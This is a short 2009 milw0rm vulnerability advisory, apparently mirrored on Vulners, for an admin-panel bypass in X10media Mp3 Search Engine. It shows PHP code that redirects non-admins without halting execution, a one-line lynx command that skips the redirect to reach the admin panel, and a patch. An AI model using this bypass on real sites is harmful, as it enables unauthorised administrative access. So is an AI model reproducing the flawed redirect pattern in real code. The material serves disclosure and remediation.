################# ~THUNDER ################################################################
~Product: X10media Mp3 Search Engine v1.x Admin Access Vulnerability
~Author : THUNDER <t4h[at]hotmail.fr>
~File : admin/admin.php
##### ~Vulnerable Code ############################################################################
/**
* User not an administrator, redirect to main page
* automatically.
*/
if(!$session->isAdmin()){
header("Location: ../main.php");
}
else{
/**
* Administrator is viewing page, so display all
* forms.
*/
}
----------------------------------------
if the user is not admin redirect it to main.php, so we can exploit it using lynx by disabling redirection.
##### ~Exploit ############################################################################
lynx -noredir http://www.vulnerable.com/admin/admin.php
allow the cookies, and you're in admin panel.
##### ~Solution ############################################################################
Open admin/admin.php
1- find:
/**
* User not an administrator, redirect to main page
* automatically.
*/
if(!$session->isAdmin()){
header("Location: ../main.php");
}
else{
/**
* Administrator is viewing page, so display all
* forms.
*/
}
2- Replace it with:
/**
* User not an administrator, show error 404
*/
if(!$session->isAdmin()){
die(header("HTTP/1.1 404 Not Found"));
}
###########################################################################################
# milw0rm.com [2009-04-13]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation